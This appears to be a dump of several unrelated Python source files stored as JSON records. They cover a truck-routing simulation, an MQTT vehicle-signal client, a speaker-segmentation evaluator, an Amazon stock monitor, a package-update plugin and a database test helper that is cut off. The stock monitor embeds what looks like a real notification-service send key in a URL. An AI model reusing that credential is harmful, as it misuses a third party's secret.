self.get_near_base_list()\n\n    def add_target_position_list(self, position_list):\n\n        # 从当前网点返回base_station\n        if isinstance(position_list[-1], BaseStation):\n            self.trunk_state = TRUNK_ON_ROAD\n            distance = self.inquiry_info.inquiry_distance_by_id(b_id_1=self.trunk_current_base_station_id,\n                                                                b_id_2=self.trunk_base_id)\n            self.trunk_future_base_station_id = position_list[-1]\n            self.trunk_target_time_list = []\n            self.trunk_target_time_list.append(distance / self.trunk_speed)\n            return\n\n            # 前往运送订单\n        # 表示正在运货，在网点200公里附近，前往网点取货，不可调度\n        if len(self.trunk_target_position_list) != 0:\n            self.trunk_state = TRUNK_ON_ROAD_NOT_USE\n\n        # 车辆目的地序列更新\n        self.trunk_target_position_list = position_list\n\n        # 车辆到底目的地时间更新\n        self.trunk_target_time_list = []\n\n        # 车辆预计到达时间更新\n        # 第一种情况从网点出发\n        if self.trunk_state == TRUNK_IN_ORDER or self.trunk_state == TRUNK_IN_ORDER_DESTINATION:\n            for index in range(len(self.trunk_target_position_list)):\n                distance = 0.0\n                if index == 0:\n                    distance = self.trunk_position.get_position_distance(self.trunk_target_position_list[0].position)\n                    # if isinstance(self.trunk_target_position_list[0], BaseStation):\n                    #     distance = self.inquiry_info.inquiry_distance_by_id(b_id_1=self.trunk_current_base_station_id,\n                    #                                                         b_id_2=self.trunk_target_position_list[\n                    #                                                             0].b_id)\n                    # else:\n                    #     distance = self.inquiry_info.inquiry_distance_by_id(b_id_1=self.trunk_current_base_station_id,\n                    #                                                         d_id_1=self.trunk_target_position_list[\n                    #                                                             0].d_id)\n                else:\n                    distance = self.inquiry_info.inquiry_distance(self.trunk_target_position_list[index - 1],\n                                                                  self.trunk_target_position_list[index])\n\n                evaluate_time = distance / self.trunk_speed\n                if index == 0:\n                    self.trunk_target_time_list.append(evaluate_time)\n                else:\n                    self.trunk_target_time_list.append(self.trunk_target_time_list[-1] + evaluate_time)\n            # 车辆状态更新\n            self.trunk_state = TRUNK_ON_ROAD\n\n        elif self.trunk_state == TRUNK_ON_ROAD:\n            for index in range(len(self.trunk_target_position_list)):\n                distance = 0.0\n                if index == 0:\n                    distance = self.trunk_position.get_position_distance(self.trunk_target_position_list[0].position)\n                else:\n                    distance = self.inquiry_info.inquiry_distance(self.trunk_target_position_list[index - 1],\n                                                                  self.trunk_target_position_list[index])\n\n                evaluate_time = distance / self.trunk_speed\n                if index == 0:\n                    self.trunk_target_time_list.append(evaluate_time)\n                else:\n                    self.trunk_target_time_list.append(self.trunk_target_time_list[-1] + evaluate_time)\n            # 车辆状态更新\n            self.trunk_state = TRUNK_ON_ROAD_NOT_USE\n\n        # 自动搜素最近一个网点作为最后目的地\n        self.trunk_future_base_station_id, last_distance = self.inquiry_info.inquiry_nearest_base_station(\n            position_list[-1].d_id)\n        # 计算进入最后网点等待时间\n        self.trunk_target_time_list.append(self.trunk_target_time_list[-1] + last_distance / self.trunk_speed)\n        # 车辆预计进入等待时间更新\n        self.trunk_finish_order_time = self.trunk_target_time_list[-1]\n        self.trunk_current_base_station_id = None\n\n    def add_order(self, order):\n        # 添加单个 order\n        if len(self.trunk_car_order_list) == self.trunk_type:\n            logging.error(\"不能再添加车辆，车辆已满\")\n            sys.exit(1)\n        # 目的地序列增加\n        self.trunk_car_order_list.append(order)\n\n    def add_order_list(self, order_list):\n        \"\"\"给予车辆订单list\"\"\"\n        if len(order_list) > self.trunk_type:\n            logging.error(\"车辆过多，位置不足\")\n            sys.exit(1)\n        else:\n            self.trunk_car_order_list = []\n            self.trunk_car_order_list = order_list\n\n    def trunk_update_day(self):\n        \"\"\"每辆车每天进行更新\"\"\"\n        temp_time_list = []\n        for index in range(len(self.trunk_target_time_list)):\n            if self.trunk_target_time_list[index] > 24:\n                temp_time_list.append(self.trunk_target_time_list[index] - 24)\n\n        if len(temp_time_list) == 0:\n            if self.trunk_state == TRUNK_IN_ORDER:\n                self.wait_day = 0\n                self.trunk_position = self.trunk_before_day_position\n            elif self.trunk_state == TRUNK_ON_ROAD:\n                self.trunk_current_base_station_id = self.trunk_future_base_station_id\n                self.trunk_future_base_station_id = None\n                self.trunk_position = self.inquiry_info.inquiry_base_position_by_id(\n                    self.trunk_current_base_station_id)\n                if self.trunk_current_base_station_id != self.trunk_base_id:\n                    self.trunk_state = TRUNK_IN_ORDER_DESTINATION\n                    self.wait_day += 1\n                else:\n                    self.trunk_state = TRUNK_IN_ORDER\n            elif self.trunk_state == TRUNK_IN_ORDER_DESTINATION:\n                self.trunk_position = self.trunk_before_day_position\n                if self.trunk_current_base_station_id != self.trunk_base_id:\n                    self.wait_day += 1\n            elif self.trunk_state == TRUNK_NOT_USE:\n                \"\"\"暂时不使用进入NOT_USE状态\"\"\"\n                self.sleep_day -= 1\n                if self.sleep_day == 0:\n                    self.trunk_state = TRUNK_IN_ORDER\n                self.trunk_position = self.trunk_before_day_position\n            elif self.trunk_state == TRUNK_ON_ROAD_NOT_USE:\n                self.trunk_current_base_station_id = self.trunk_future_base_station_id\n                self.trunk_future_base_station_id = None\n                self.trunk_position = self.inquiry_info.inquiry_base_position_by_id(self.trunk_current_base_station_id)\n                if self.trunk_current_base_station_id != self.trunk_base_id:\n                    self.trunk_state = TRUNK_IN_ORDER_DESTINATION\n                    self.wait_day += 1\n                else:\n                    self.trunk_state = TRUNK_IN_ORDER\n            self.trunk_finish_order_time = 0\n            self.trunk_target_position_list = []\n            self.trunk_car_order_list = []\n            self.trunk_target_time_list = []\n        else:\n            if len(temp_time_list) == len(self.trunk_target_time_list):\n                self.trunk_position = self.calculate_position(self.trunk_before_day_position,\n                                                              self.trunk_target_position_list[0].position,\n                                                              temp_time_list[0])\n                # if isinstance(self.trunk_target_position_list[0], BaseStation):\n                #     self.trunk_state = TRUNK_ON_ROAD_NOT_USE\n                # else:\n                #     self.trunk_state = TRUNK_ON_ROAD\n\n            else:\n                self.trunk_position = self.calculate_position(\n                    self.trunk_target_position_list[-1 * len(temp_time_list)].position,\n                    self.trunk_target_position_list[-1 * len(temp_time_list) + 1].position,\n                    temp_time_list[0]\n                )\n\n                reach_position_list = self.trunk_target_position_list[\n                                      0:len(self.trunk_target_position_list) - len(temp_time_list) + 1]\n\n                # 倒着删掉订单\n                for i in range(len(self.trunk_car_order_list) - 1, -1, -1):\n                    for j in range(len(reach_position_list)):\n                        if isinstance(reach_position_list[j], Destination):\n                            if self.trunk_car_order_list[i].destination == reach_position_list[j].d_id:\n                                self.trunk_car_order_list.remove(self.trunk_car_order_list[i])\n                if len(temp_time_list) > 1:\n                    self.trunk_target_position_list = self.trunk_target_position_list[-1 * len(temp_time_list) + 1:]\n                elif len(temp_time_list) == 1:\n                    self.trunk_target_position_list = []\n\n            # 更新状态\n            # if len(self.trunk_target_position_list) != 0 and isinstance(self.trunk_target_position_list[0], BaseStation):\n            #     self.trunk_state = TRUNK_ON_ROAD_NOT_USE\n            # else:\n            self.trunk_state = TRUNK_ON_ROAD\n            self.trunk_target_time_list = temp_time_list\n            self.trunk_finish_order_time -= 24\n        self.trunk_before_day_position = self.trunk_position\n        self.get_near_base_list()\n\n    def calculate_position(self, position1, position2, time):\n        \"\"\"计算位置辅助\"\"\"\n        distance1 = position1.get_position_distance(position2)\n        distance2 = self.trunk_speed * time\n        x = position2.x - distance2 / distance1 * (position2.x - position1.x)\n        y = position2.y - distance2 / distance1 * (position2.y - position1.y)\n        return Position(x, y)\n\n    def random_sleep(self):\n        \"\"\"车辆随机进入休息状态\"\"\"\n        num = random.randint() % 100\n        if num == 0 or num == 1:\n            self.sleep_day = random.randint() % 3\n            self.trunk_state = TRUNK_NOT_USE\n\n    def trunk_cost(self, car_number):\n        \"\"\"该车运输一定数量的轿车每公里费用\"\"\"\n        if self.trunk_type == TRUNK_TYPE_SMALL:\n            return 1.0 * (1 + car_number * 0.05)\n        elif self.trunk_type == TRUNK_TYPE_MIDDLE:\n            return 1.1 * (1 + car_number * 0.05)\n        else:\n            return 1.2 * (1 + car_number * 0.05)\n\n    def trunk_cost_one_road(self, car_number, position1, position2):\n        \"\"\"一段路程的费用\"\"\"\n        return self.trunk_cost(car_number) * (position1.get_position_distance(position2))\n\n    def get_near_base_list(self):\n        self.near_base_list = []\n        for i in range(base_num):\n            if self.trunk_position.get_position_distance(self.inquiry_info.inquiry_base_position_by_id(i)) < distance_around:\n                self.near_base_list.append(i)\n        return self.near_base_list\n","sub_path":"model/trunk.py","file_name":"trunk.py","file_ext":"py","file_size_in_byte":13697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"348435289","text":"import paho.mqtt.client as mqtt\nfrom time import sleep\nfrom common.mqtt.MsgBuilder import MsgHelper\nfrom common.mqtt import iCANNetwork_pb2\nfrom common import readConfig\nimport paho.mqtt.publish as publish\n\nHOST = \"120.25.236.132\"\nPORT = 1883\nKEEPALIVE = 60\n\nconf = readConfig.Readconfig()\n\nRequestTopic = conf.getConfigValue('RequestTopic') #\"ESG020/ESG3355/Request\"\nResponseTopic = conf.getConfigValue('ResponseTopic') #\"ESG020/ESG3355/Response\"\n\n\nclass MQTTClient():\n\n    def __init__(self):\n\n        self.client = mqtt.Client()\n        self.client.on_connect = on_connect\n        self.client.on_message = on_message\n        self.client.on_log = on_log\n        self.client.connect(HOST, PORT, KEEPALIVE)\n        self.client.loop_start()\n\n\n\n    def sendiCANRequest(self, proto_msg=None):\n        msg = MsgHelper.build_socket_msg(proto_msg=proto_msg)\n        self.client.publish(RequestTopic, msg)\n\n\ndef publish_single_iCAN_message(proto_msg=None):\n    msg = MsgHelper.build_socket_msg(proto_msg=proto_msg)\n    publish.single(RequestTopic,\n                   payload=msg,\n                   hostname=HOST,\n                   port=PORT,\n                   protocol=mqtt.MQTTv311)\n    sleep(1)\n\n\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n    print(\"Connected with result code \"+str(rc))\n\n    # Subscribing in on_connect() means that if we lose the connection and\n    # reconnect then subscriptions will be renewed.\n    client.subscribe(ResponseTopic)\n\n# The callback for when a PUBLISH message is received from the server.\ndef on_message(client, userdata, msg):\n    print(msg.topic+\" \"+str(msg.payload))\n\n\ndef on_log(client, userdata, level, buf):\n    print(str(buf))\n\n\nif __name__ == '__main__' :\n#For test\n    # testClient = MQTTClient()\n    # sleep(5)\n    # test_msg = MsgHelper.build_test()\n    # testClient.sendiCANRequest(test_msg)\n\n    # mqtt_client = MQTTClient()\n\n    # request = iCANNetwork_pb2.ClientRequest()\n    # request.typeEnum = iCANNetwork_pb2.COMBOBOX_REQUEST\n    # request.comboBoxRequest.comboxnameenum = iCANNetwork_pb2.VHAINDEX\n    # request.comboBoxRequest.selectIndex = 1\n    # mqtt_client.sendiCANRequest(proto_msg=request)\n\n    # request = iCANNetwork_pb2.ClientRequest()\n    # request.typeEnum = iCANNetwork_pb2.CHANGE_OPTION\n    # request.optionRequest.type = iCANNetwork_pb2.SETVALUE_VHA600EVALUE\n    # request.optionRequest.intValue = 0x12000000\n    #\n    # mqtt_client.sendiCANRequest(proto_msg=request)\n    request = iCANNetwork_pb2.ClientRequest()\n    request.typeEnum = iCANNetwork_pb2.CHANGE_VALUE\n    # Ignition_Status\n    request.valueRequest.Ignition_Status = 1  # OFF:1\n    request.valueRequest.Delay_Accy = 0  # OFF:0\n    publish_single_iCAN_message(request)\n\n    request = iCANNetwork_pb2.ClientRequest()\n    request.typeEnum = iCANNetwork_pb2.CHANGE_VALUE\n    # Ignition_Status\n    request.valueRequest.Ignition_Status = 4  # OFF:1\n    request.valueRequest.Delay_Accy = 0  # OFF:0\n    publish_single_iCAN_message(request)\n    # while True:\n    #     sleep(1)\n","sub_path":"VHA2.0/common/mqtt/MQTTClient.py","file_name":"MQTTClient.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"514281716","text":"from __future__ import print_function\nimport codecs\nimport numpy as np\nimport re\nimport argparse\nimport cPickle as pickle\nfrom model.LSTMCNN import LSTMCNN\nfrom util.BatchLoaderUnk import ENCODING, process_line, vocab_unpack\nfrom math import exp\n\n\nclass Vocabulary:\n    def __init__(self, tokens, vocab_file, max_word_l=65):\n        self.tokens = tokens\n        self.max_word_l = max_word_l\n        self.prog = re.compile('\\s+')\n\n        print('loading vocabulary file...')\n        vocab_mapping = np.load(vocab_file)\n        self.idx2word, self.word2idx, self.idx2char, self.char2idx = vocab_unpack(vocab_mapping)\n        self.vocab_size = len(self.idx2word)\n        print('Word vocab size: %d, Char vocab size: %d' % (len(self.idx2word), len(self.idx2char)))\n        self.word_vocab_size = len(self.idx2word)\n        self.char_vocab_size = len(self.idx2char)\n\n    def index(self, word):\n        w = self.word2idx[word] if word in self.word2idx else self.word2idx[self.tokens.UNK]\n        c = np.zeros(self.max_word_l, dtype='int32')\n        chars = [self.char2idx[self.tokens.START]] # start-of-word symbol\n        chars += [self.char2idx[char] for char in word if char in self.char2idx]\n        chars.append(self.char2idx[self.tokens.END]) # end-of-word symbol\n        if len(chars) >= self.max_word_l:\n            chars[self.max_word_l-1] = self.char2idx[self.tokens.END]\n            c = chars[:self.max_word_l]\n        else:\n            c[:len(chars)] = chars\n\n        return w, c\n\n\n    def get_input(self, word, batch_size, p=None):\n        if word == '<unk>':\n            word = self.tokens.UNK # replace <unk> with a single character\n        w, c = self.index(word)\n        output_words = [w]\n        output_chars = [c]\n        words = np.array(output_words, dtype='int32')[np.newaxis, :]\n        words = np.tile(words, (batch_size, 1))\n        chars = np.array(output_chars, dtype='int32')[np.newaxis, :, :]\n        chars = np.tile(chars, (batch_size, 1, 1))\n        x = {'word':words, 'chars':chars}\n\n        if p is not None:\n            prb = np.array([p], dtype='float32')[np.newaxis, :, :]\n            prb = np.tile(prb, (batch_size, 1, 1))\n            x['prb'] = prb\n\n        return x\n\n\nclass Evaluator:\n    def __init__(self, name, vocabulary, init, k):\n        self.opt = pickle.load(open('{}.pkl'.format(name), \"rb\"))\n        self.opt.seq_length = 1\n        self.logk = 0\n        while (1 << self.logk) < k:\n            self.logk += 1\n        self.opt.batch_size = 1 << self.logk\n        self.reader = Vocabulary(self.opt.tokens, vocabulary, max_word_l=self.opt.max_word_l)\n        self.model = LSTMCNN(self.opt)\n        self.model.load_weights('{}.h5'.format(name))\n\n        self.hyp_score = np.zeros(k, dtype='float32')\n        self.hyp_samples = np.empty((k,0), dtype='int32')\n        self.hyp_prob = np.empty((k,0), dtype='float32')\n        if init:\n            self.state_mean = np.load(init)\n        else:\n            self.state_mean = None\n\n    def clear(self, reset):\n        self.hyp_score.fill(0);\n        self.hyp_samples.resize((self.opt.batch_size,0))\n        self.hyp_prob.resize((self.opt.batch_size,0))\n        if reset:\n            self.model.reset_states()\n            if self.state_mean != None:\n                self.model.set_states_value(self.state_mean)\n\n    @property\n    def delay(self):\n        return self.opt.delay\n\n    def gen_sample(self, word, prb=None):\n        x = self.reader.get_input(word, self.opt.batch_size, prb)\n\n        # previous hyp spk id\n        ncol = self.hyp_samples.shape[1]\n        if ncol > 0:\n            spk = self.hyp_samples[:,-1].astype('float32')\n        else:\n            spk = np.zeros(self.opt.batch_size, dtype='float32')\n            spk[1::2] = 1\n        x['spk'] = spk[:,np.newaxis];\n\n        # spk prediction\n        y = self.model.predict(x, batch_size = self.opt.batch_size)[:,0,0]\n\n        # sort new scores\n        if ncol < self.logk-1:\n            spk_indices = np.arange(self.opt.batch_size) % (1 << (ncol+2)) >= (1 << (ncol+1))\n            spk_prob = y.copy()\n            spk_prob[spk_indices==0] = 1 - y[spk_indices==0]\n            # update states\n            self.hyp_samples = np.append(self.hyp_samples, spk_indices[:,np.newaxis], axis=1)\n            self.hyp_prob = np.append(self.hyp_prob, spk_prob[:,np.newaxis], axis=1)\n            self.hyp_score += -np.log(spk_prob)\n        else:\n            spk_prob = np.concatenate((1-y, y))\n            cand_score = np.concatenate((self.hyp_score, self.hyp_score)) - np.log(spk_prob)\n            ranks = cand_score.argsort()[:self.opt.batch_size]\n            batch_indices = ranks % self.opt.batch_size;\n            spk_indices = ranks / self.opt.batch_size;\n            # update states\n            self.model.reindex_states(batch_indices)\n            self.hyp_samples = np.append(self.hyp_samples[batch_indices], spk_indices[:,np.newaxis], axis=1)\n            self.hyp_prob = np.append(self.hyp_prob[batch_indices], spk_prob[ranks,np.newaxis], axis=1)\n            self.hyp_score = cand_score[ranks]\n\n    def get_prob(self, word, prb):\n        assert(self.opt.batch_size == 1)\n        x = self.reader.get_input(word, self.opt.batch_size, prb)\n        y = self.model.predict(x, batch_size = self.opt.batch_size)[0,0,0]\n        self.hyp_samples = np.append(self.hyp_samples, [[y>0.5]], axis=1)\n        self.hyp_prob = np.append(self.hyp_prob, [[y]], axis=1)\n        self.hyp_score += -np.log(np.maximum([y], [1-y]))\n\n\ndef save_spkseg(ev, lines, calc, state_sum, nl, file):\n    yp = ev.hyp_samples[0, ev.delay+1:].copy()\n    pp = ev.hyp_prob[0, ev.delay+1:].copy()\n    prev_filename = ''\n    prev_spk = ''\n    prev_line = ''\n    for i, line in enumerate(lines):\n        filename, _, spk, _ = process_line(line)\n        if (filename != prev_filename) or (spk != prev_spk):\n            first_word = 1;\n            prev_filename = filename\n            prev_spk = spk\n        else:\n            first_word = 0;\n        if i>0 and i <= len(yp):\n            ls = prev_line.split()\n            l = ' '.join(ls[0:5])\n            print(l, first_word, yp[i-1], pp[i-1], file=file)\n        prev_line = line\n\n    if calc:\n        for ssum, update in zip(state_sum, ev.model.states_value):\n            ssum += update[0]\n            nl += 1\n        ev.clear(False)\n    else:\n        ev.clear(True)\n    return state_sum, nl\n\n\ndef main(name, vocabulary, init, itext, otext, calc, k):\n\n    ev = Evaluator(name, vocabulary, None if calc else init, k)\n\n    fin = codecs.open(itext, 'r', ENCODING)\n    fout = codecs.open(otext, 'w', ENCODING)\n\n    state_sum = [np.zeros_like(a[0]) for a in ev.model.states_value] if calc else None\n    nl = 0\n        \n    lines = []\n    for line in fin:\n        line = line.strip()\n        if line == \"\" or line.startswith(';;'):\n            continue\n        _, word, _, prb = process_line(line, ev.opt.vector_size)\n        if ev.opt.use_spk:\n            ev.gen_sample(word, prb)\n        else:\n            ev.get_prob(word, prb)\n        lines.append(line)\n        \n    state_sum, nl = save_spkseg(ev, lines, calc, state_sum, nl, file=fout)\n\n    if calc:\n        state_mean = [a[0]/nl for a in state_sum]\n        np.save(init, state_mean)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--model', type=str)\n    parser.add_argument('--vocabulary', type=str)\n    parser.add_argument('--init', type=str)\n    parser.add_argument('--itext', type=str)\n    parser.add_argument('--otext', type=str)\n    parser.add_argument('--calc', action='store_true', default=False)\n    parser.add_argument('--beam', type=int, default=8)\n    parser.add_argument('--RNN', type=int, default=1, help='Value 1 to use LSTM, Value 0 tu use GRU')\n\n    args = parser.parse_args()\n\n    main(args.model, args.vocabulary, args.init, args.itext, args.otext, args.calc, args.beam)\n","sub_path":"spkseg/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":7835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"378870539","text":"from requests import session\nfrom bs4 import BeautifulSoup\nfrom threading import Thread\nimport time\nimport random\n\nimport logging\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format='%(asctime)s  %(message)s',\n    datefmt='%H:%M:%S',\n    filename='log.log',\n    filemode='w')\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s %(message)s', datefmt='%m-%d %H:%M:%S')\nconsole.setFormatter(formatter)\nlogging.getLogger('').addHandler(console)\n\nlogging.getLogger(\"requests\").setLevel(logging.CRITICAL)\n\n\nclass StockMonitor(object):\n    def __init__(self):\n        self.goods = [\n            {'id': 'B00D8V09FE', 'name': '蓝罐3', 'status': 'instock', 'instock_time': time.time(), 'send_time': None,},\n            {'id': 'B01GDZSZ6Q', 'name': '蓝罐1+', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n            {'id': 'B00D8V092W', 'name': '蓝罐2', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n            {'id': 'B014HGVU1K', 'name': '蓝罐2+', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n            {'id': 'B016WEDI6K', 'name': '白金2', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n            {'id': 'B016WEDHW0', 'name': '白金PRE', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n            {'id': 'B016WEDI60', 'name': '白金1', 'status': 'instock', 'instock_time': time.time(), 'send_time': None, },\n\n        ]\n\n    def monitor(self, ss, i):\n        while True:\n            time.sleep(random.randrange(2, 3))\n            url = 'https://www.amazon.de/gp/product/' + self.goods[i]['id'] + '/?m=A3JWKAKR8XB7XF'\n            html = ss.get(url).text\n            # print(html)\n            soup = BeautifulSoup(html, 'lxml')\n            if not soup.find(id='twotabsearchtextbox'):\n                logging.debug(self.goods[i]['name']+'本次请求异常')\n                continue\n            # 当次刷新有货\n            if soup.find(id='submit.add-to-cart-announce'):\n                # 初次上货，发送消息\n                if self.goods[i]['status'] == 'outstock':\n                    ss.get(\n                        'https://pushbear.ftqq.com/sub?sendkey=2020-8d047d58d48d25b55fc85460144fa962&text=上货通知&desp=%s' %\n                        time.strftime('%m%d_%H%M%S') + self.goods[i]['name'] + '上架')\n                    logging.debug(self.goods[i]['name']+'上架，且近一小时没上架过，已发通知')\n                # 有货状态，不必重复发消息\n                else:\n                    logging.debug(self.goods[i]['name']+'上架，但近一小时上架过，，，')\n                self.goods[i]['instock_time'] = time.time()\n                self.goods[i]['status'] = 'instock'\n\n            # 当次刷新无货\n            else:\n                # 近1小时无上货，则认为确实无货\n                if time.time()-self.goods[i]['instock_time'] > 60*60:\n                    self.goods[i]['status'] = 'outstock'\n                    logging.debug(self.goods[i]['name']+'无货')\n                # 近1小时有上货则认为有货\n                else:\n                    logging.debug(self.goods[i]['name']+'无货，但近一小时上架过，，，')\n\n    def run(self):\n        for i in range(len(self.goods)):\n            ss = session()\n            t = Thread(target=self.monitor, args=(ss, i))\n            t.start()\n            time.sleep(random.randrange(2, 3))\n\n\nif __name__ == '__main__':\n    sm = StockMonitor()\n    sm.run()\n","sub_path":"amazon/stock_monitor.py","file_name":"stock_monitor.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"202978664","text":"#!/usr/bin/env python3\n# LEAF_DESCRIPTION update current profile packages\n\"\"\"\nLeaf Package Manager\n\n@author:    Legato Tooling Team <letools@sierrawireless.com>\n@copyright: Sierra Wireless. All rights reserved.\n@contact:   Legato Tooling Team <letools@sierrawireless.com>\n@license:   https://www.mozilla.org/en-US/MPL/2.0/\n\"\"\"\n\n\nfrom leaf.cli.completion import complete_available_packages\nfrom leaf.cli.plugins import LeafPluginCommand\nfrom leaf.core.error import InvalidPackageNameException\nfrom leaf.model.modelutils import group_package_identifiers_by_name\nfrom leaf.model.package import PackageIdentifier\n\n\ndef get_latest_ap(motif, pilist):\n    if PackageIdentifier.is_valid_identifier(motif):\n        pi = PackageIdentifier.parse(motif)\n        return pi if pi in pilist else None\n    out = None\n    for pi in pilist:\n        if pi.name == motif:\n            if out is None or pi > out:\n                out = pi\n    return out\n\n\nclass UpdagePlugin(LeafPluginCommand):\n    def _configure_parser(self, parser):\n        super()._configure_parser(parser)\n        parser.add_argument(\n            \"-p\", \"--add-package\", dest=\"packages\", action=\"append\", metavar=\"PKG_NAME\", help=\"specific packages to update\"\n        ).completer = complete_available_packages\n\n    def execute(self, args, uargs):\n        wm = self.get_workspacemanager()\n        logger = wm.logger\n\n        pfname = wm.current_profile_name\n        profile = wm.get_profile(pfname)\n\n        profile_pkg_map = profile.pkg_map\n        grouped_packagesmap = group_package_identifiers_by_name(wm.list_installed_packages())\n        grouped_packagesmap = group_package_identifiers_by_name(wm.list_available_packages(), pkgmap=grouped_packagesmap)\n\n        update_pilist = []\n\n        motiflist = args.packages if args.packages is not None else profile_pkg_map.keys()\n        for motif in motiflist:\n            pi = None\n            if PackageIdentifier.is_valid_identifier(motif):\n                # User force specific version\n                candidate = PackageIdentifier.parse(motif)\n                if candidate.name in grouped_packagesmap:\n                    if candidate in grouped_packagesmap[candidate.name]:\n                        pi = candidate\n            elif motif in grouped_packagesmap:\n                # Get latest version\n                pi = grouped_packagesmap[motif][-1]\n\n            if pi is None:\n                # Unknown package identifier\n                raise InvalidPackageNameException(motif)\n\n            if pi is not None and pi not in update_pilist:\n                # Get PI in profile\n                previous_pi = PackageIdentifier(pi.name, profile_pkg_map[pi.name]) if pi.name in profile_pkg_map else None\n                if previous_pi is None:\n                    # Package not in profile yet, add it\n                    if wm.print_with_confirm(\"Do you want to add package {pi}?\".format(pi=pi)):\n                        update_pilist.append(pi)\n                elif previous_pi != pi:\n                    # Package already in profile with a different version, update it\n                    if wm.print_with_confirm(\"Do you want to update package {pi.name} from {oldpi.version} to {pi.version}?\".format(pi=pi, oldpi=previous_pi)):\n                        update_pilist.append(pi)\n                else:\n                    # Package already in profile with same version, do nothing\n                    pass\n\n        if len(update_pilist) == 0:\n            logger.print_default(\"Nothing to do\")\n        else:\n            profile.add_packages(update_pilist)\n            wm.update_profile(profile)\n            wm.provision_profile(profile)\n","sub_path":"resources/share/leaf/packages/leaf-plugins_1.0/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"405118881","text":"import pyrml\nimport sys\n\nm = pyrml.Module(\"Echo\", \"A simple echo module\")\n\n@m.command(\"echo\")\ndef echo(msg, args):\n    m.say(msg[\"Params\"][0], \" \".join(args))\n\nm.register(sys.argv)","sub_path":"modules/py/echo/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"325880988","text":"import json\nimport pymysql\nimport time\nimport xlrd\nimport sys\nimport datetime\nimport hashlib\n\nyuzhi_event = ['distinct_id', 'time', '$app_version', '$ip', '$country', '$city', '$province',\n               '$model', '$os', '$os_version', '$screen_height', '$screen_width', '$wifi',\n               '$network_type', '$is_first_day', '$device_id', '$manufacturer']\nyuzhi_event_all = ['distinct_id', 'time', '$app_version', '$ip', '$country', '$city', '$province',\n                   '$model', '$os', '$os_version', '$screen_height', '$screen_width', '$wifi',\n                   '$network_type', '$is_first_day', '$device_id', '$manufacturer', '$lib', '$lib_version', '$browser',\n                   '$browser_version', '$carrier', '$network_type', '$utm_matching_type', '$latest_referrer',\n                   '$latest_referrer_host', '$latest_utm_source', '$latest_utm_medium', '$latest_utm_term',\n                   '$latest_utm_content', '$latest_utm_campaign', '$latest_search_keyword','$latest_traffic_source_type']\n\nuser_event = ['$city', '$province', '$name', '$signup_time', '$utm_matching_type', '$first_visit_time',\n              '$first_referrer', '$first_referrer_host', '$first_browser_language', '$first_browser_charset',\n              '$first_search_keyword', '$first_traffic_source_type', '$utm_source', '$utm_medium', '$utm_term',\n              '$utm_content', '$utm_campaign']\n\n\nclass DB:\n    __instance = None\n\n    def __init__(self):\n        self._conn()\n\n    @classmethod\n    def getInstance(cls):\n        if (cls.__instance == None):\n            cls.__instance = DB()\n        return cls.__instance\n\n    def _conn(self):\n        try:\n            server = '**********'\n            user = '*******'\n            password = '**************'\n\n            database = 'message'\n            self.conn = pymysql.connect(server, user, password, database)\n            self.cursor = self.conn.cursor()\n            return True\n        except:\n            return False\n\n    def _reConn(self, num=28800, stime=3):  # 重试连接总次数为1天\n        _number = 0\n        _status = True\n        while _status and _number <= num:\n            try:\n                self.conn.ping()  # cping 校验连接是否异常\n                _status = False\n            except:\n                if self._conn() == True:  # 重新连接,成功退出\n                    _status = False\n                    break\n                _number += 1\n                time.sleep(stime)  # 连接不成\n\n    def query(self, table):\n        now = int(time.time())\n        sql = 'select * from {} group by sig '.format(table)  #\n        self._reConn()\n        # 查询操作\n        row = self.cursor.execute(sql)\n        self.conn.commit()\n        row = self.cursor.fetchall()\n        return row\n\n    def query_feild(self, sql):\n        self._reConn()\n        # 查询操作\n        row = self.cursor.execute(sql)\n        self.conn.commit()\n        row = self.cursor.fetchall()\n        return row\n\n    def query_sig_null(self, table):\n        sql = \"select * from {} where sig=''\".format(table)\n        self._reConn()\n        # 查询操作\n        row = self.cursor.execute(sql)\n        self.conn.commit()\n        row = self.cursor.fetchall()\n        return row\n\n    def update(self, table, field, v, id):\n        self._reConn()\n        # 更新操作\n        sql = \"UPDATE %s SET `%s`='%s' where id=%s\" % (table, field, v, id)\n        self.cursor.execute(sql)\n        self.conn.commit()\n        row = self.cursor.fetchone()\n        return row\n\n\nclass ReadExcel(object):\n\n    @staticmethod\n    def getExcelAllData(excel_name, sheet_name):\n        workbook = xlrd.open_workbook(r'%s/files/%s.xlsx' % (sys.path[0], excel_name))\n        table = workbook.sheet_by_name(sheet_name)\n        nrows = table.nrows\n        return [table.row_values(i) for i in range(1, nrows)]\n\n\nclass AsssertResult:\n    @staticmethod\n    def assert_user(expected, actual, user_property_errors, user_property_type_errors):\n        for ex_user in expected:\n            user_property_type = ex_user.get('user_property_type')\n            user_property_name = ex_user.get('user_property_name')\n            user_property_show_name = ex_user.get('user_property_show_name')\n            if not user_property_show_name:\n                user_property_errors.append(('excel表中属性显示名为空', user_property_name, user_property_show_name, ''))\n            if not user_property_name:\n                user_property_errors.append(('excel表中属性名称为空', user_property_name, user_property_show_name, ''))\n            if not user_property_type:\n                user_property_type_errors.append(\n              